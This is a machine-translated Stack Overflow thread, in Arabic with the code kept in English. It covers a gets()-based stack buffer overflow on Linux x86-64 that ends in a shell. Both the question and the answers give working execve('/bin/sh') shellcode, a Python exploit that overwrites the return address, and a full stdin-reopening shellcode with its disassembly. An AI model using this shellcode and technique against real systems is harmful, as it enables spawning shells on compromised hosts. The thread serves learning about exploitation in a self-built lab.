shellcode for spel verclow: برنامج مستغل مع shell ينتهي مباشرة بعد execve ("/bin/sh")

StackOverflow https://stackoverflow.com/questions/2859127

سؤال

لقد لعبت مع الفائض المخزن المؤقت على Linux (AMD64) وحاولت استغلال برنامج بسيط ، لكنه فشل. لقد قمت بتعطيل ميزات الأمان (توزيع العشوائية لفضاء مساحة مع SYSCTL -W kernel.randomize_va_space = 0 و Nx bit في BIOS). إنه يقفز إلى المكدس وينفذ رمز الصدفة ، لكنه لا يبدأ قذيفة. ينجح Syscall Execve ولكن بعد ذلك ينتهي فقط. أي فكرة ما هو الخطأ؟ تشغيل shellcode المستقل يعمل على ما يرام.

سؤال المكافأة: لماذا أحتاج إلى ضبط Rax على الصفر قبل استدعاء PrintF؟ (انظر التعليق في الكود)

ملف الضعف مخازن:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

تم تجميعها مع:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

بدأت مع:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

تصحيح الأخطاء مع GDB:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
هل كانت مفيدة؟

المحلول

أواجه نفس المشكلة الآن مع Ubuntu 9.10 في VM. تعطيل جميع القياسات الأمنية لنظام التشغيل ، ومآثر بسيطة مثل "الخروج من البرنامج وتعيين رمز الخروج إلى 42" تعمل ، ولكن عند محاولة فتح قذيفة ، ينتهي البرنامج فقط. إخراج GDB متطابق:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

الشيء هو ، أنا بحاجة إلى العمل في تقريبا. 16 ساعة لعرض تقديمي: D


تحديث: لقد وجدت هذه الدراسة الأنيقة: www.shell-storm.org/papers/files/539.pdf

في الصفحة 16 تقول: "إذا حاولنا تنفيذ قذيفة ، فإنه ينتهي فورًا في هذا التكوين"

في أمثلة أخرى لا تستخدم GET () ، فإنها تعمل بشكل جيد للغاية على قذيفة. لسوء الحظ ، لا يعطون تلميحًا حول سبب عدم عمله بهذه الطريقة. :(


التحديث التالي: يبدو أن الأمر يتعلق بـ Stdin. لا يمكن للقشرة استخدام تلك التي تحصل عليها بشكل صحيح من العملية الأصلية. حاولت استخدام قذيفة الحد الأدنى وجدت رمز sourcecode لـ (Evilsh). تحطمت عند النقطة التي حاولت قراءة الإدخال. أظن أن هذا Bash/Dash يتحقق من هذا ويخرج بصمت عندما يكون هناك خطأ ما في Stdin.


حسنًا ، من فضلك لا تقتلني لتجري هذه المحادثة مع نفسي هنا ، لكن ...

لقد وجدت حل!

لسبب ما من الضروري إعادة فتح المدخلات. لقد وجدت رمز قشرة العمل هنا:

http://www.milw0rm.com/shellcode/2040

لا أرى موجهًا صعبًا ، لكن يمكنني تشغيل البرامج وما إلى ذلك. باستخدام القشرة التي تفتح.

نصائح أخرى

الرابط الذي توفره Zenoc قد مات ، ولكن لا يزال من الممكن العثور عليه في آلة Wayback. للراحة ، لقد استنسخت أدناه. اضطررت إلى تضمين add $0x10,%esp في الجزء العلوي لإعطائي مساحة أكبر ، مثل كل pushES في الكود أكلت في المخزن المؤقت حيث تم تخزين رمز shellcode الخاص بي. إذا كنت ترغب في تضمين ذلك على رمز shellcode أيضًا ، فما عليك سوى إضافة " x83 xc4 x10" إلى البداية. رمز shellcode هو 55 بايت دون إضافتي ، و 58 مع.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

ملاحظة: لم أستطع إضافة هذا كتحرير إلى إجابة Zenoc لأن قائمة انتظار التحرير ممتلئة.

إذا كنت تواجه مشكلة في تحديد عنوان رمز الصدفة الخاص بك بسبب اختلاف المداخن في المحطة و gdb, ، ألق نظرة على إجابتي هنا.

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top